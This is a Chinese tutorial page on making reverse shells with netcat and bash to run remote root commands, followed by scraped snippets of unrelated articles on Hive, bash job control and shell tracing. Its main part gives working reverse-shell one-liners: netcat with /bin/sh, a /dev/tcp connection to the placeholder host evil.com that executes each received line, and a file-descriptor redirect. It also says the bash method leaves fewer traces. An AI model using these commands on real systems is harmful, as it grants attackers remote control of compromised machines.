利用NetCat或BASH创建反向Shell来执行远程Root命令

向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
反向Shell(Reverse Shell)

    反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

Bind Shell

    bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。

反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
环境要求

    远程Unix主机
    安装了netcat

使用NetCat实现反向shell交互

当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:

nc -c /bin/sh <你的IP> <任何一个未封锁的端口>

你甚至能通过netcat来pipe BASH。

    /bin/sh | nc <你的IP> <任何未封锁的端口>

然后监听这个shell:

nc -l -p <相同的端口> -vvv
通过BASH实现反向shell

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。

监听shell:

nc -l -p <任何未封锁的端口> -vvv

先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。

exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done

或另外一个反向shell:

0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196

create-reverse-shell

这样,你就可以轻松是通过netcat发送任何命令了。

时间: 2024-10-10 21:15:23

利用NetCat或BASH创建反向Shell来执行远程Root命令的相关文章

如何使用NetCat或BASH创建反向Shell来执行远程Root命令

反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用.你也许会说,"一个普通的shell或简单的SSH通道不是也能实现这些吗?"不,无法实现.在网上,我看到很多人对普通shell和反向shell之间的区别分不清.在我们开始下面的内容前,先弄清楚这些概念. 反向Shell(Reverse Shell) 反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定

Hive基本操作,DDL操作(创建表,修改表,显示命令),DML操作(Load Insert Select),Hive Join,Hive Shell参数(内置运算符、内置函数)等

1.  Hive基本操作 1.1  DDL操作 1.1.1    创建表 建表语法 CREATE [EXTERNAL] TABLE [IF NOT EXISTS] table_name    [(col_name data_type[COMMENT col_comment], ...)] +    [COMMENT table_comment]    [PARTITIONED BY (col_namedata_type [COMMENT col_comment], ...)]    [CLUST

10个 Linux/Unix下 Bash 和 KSH shell 的作业控制实例

Linux 和 Unix 属于多任务的操作系统,也就是说一个系统在同一时间段内能运行多重任务(进程).在这个新的博客系列,我将会列出相关的 Linux 和 Unix 作业(job)控制的命令,你可以通过这些命令在 Bash 或 Korn 还有 POSIX shell 下实现执行多重任务. 什么是作业控制? 作业控制不只是能够停止/挂起(stop/suspend)正在执行的进程(命令),也可以继续/唤醒(continue/resume)执行你需要的每一个进程.这完全可以用你的操作系统和 bash/

《树莓派渗透测试实战》——2.9 通过SSH做反向Shell

2.9 通过SSH做反向Shell 前面已经说过在远程地点用树莓派做渗透的优点.但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派.最明显和灵活的做法就是Kali Linux上的SSH. 因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统:然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截.许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门.在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服

利用transitions类轻松创建图片过渡效果

创建 利用transitions类轻松创建图片过渡效果点击查看Flash:http://space.flash8.net/bbs/attachment.php?aid=311487 主场景第一帧上:myMovieClip.swapDepths(myMovieClip0); var i:Number = 0; function tween(obj) {         i++;         myMovieClip0.gotoAndStop(i-1);         obj.gotoAndSt

如何用 Bash 创建一个二进制发布包

linux下安装JDK的时候,Sun公司为JDK6的linux版本提供了一个shell的安装包,用起来特别的好用,基本上和在Windows下安装软件没什么两样,shell文件执行之后,几乎一切都系都设置好了,不用我们自己再动手设置PATH和JAVA_HOME,可是一个shell文件中是如何把二进制代码包含进来的呢? 再例如淘宝为linux开发的淘宝插件,其实也是一个shell文件,但是执行这个shell文件之后,会安装很多二进制的东西,同样的问题,Shell只是文本文件,其中的二进制是怎么来包含

又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文件的漏洞攻击的研究分析,其中一次属于零日漏洞攻击. 今年3月开始,FireEye再一次在微软Office产品中陆续发现三个新的零日漏洞,发现时这些漏洞已被野外利用. 第一个漏洞出现在今年的3月下旬,CVE-2017-0261中描述了Office远程代码执行漏洞(RCE)漏洞,FireEye认为该漏洞

如何在Shell脚本中跟踪调试命令的执行

在 shell 脚本调试系列 中,本文将解释第三种 shell 脚本调试模式,即 shell 跟踪,并查看一些示例来演示它如何工作以及如何使用它. 本系列的前面部分清晰地阐明了另外两种 shell 脚本调试模式:详细模式和语法检查模式,并用易于理解的例子展示了如何在这些模式下启用 shell 脚本调试. 如何在 Linux 中启用 Shell 脚本的调试模式 如何在 Shell 脚本中执行语法检查调试模式 shell 跟踪简单的来说就是跟踪 shell 脚本中的命令的执行.要打开 shell 跟

如何在 Shell 脚本中跟踪调试命令的执行

在 shell 脚本调试系列 中,本文将解释第三种 shell 脚本调试模式,即 shell 跟踪,并查看一些示例来演示它如何工作以及如何使用它. 本系列的前面部分清晰地阐明了另外两种 shell 脚本调试模式:详细模式和语法检查模式,并用易于理解的例子展示了如何在这些模式下启用 shell 脚本调试. 如何在 Linux 中启用 Shell 脚本的调试模式 如何在 Shell 脚本中执行语法检查调试模式 shell 跟踪简单的来说就是跟踪 shell 脚本中的命令的执行.要打开 shell 跟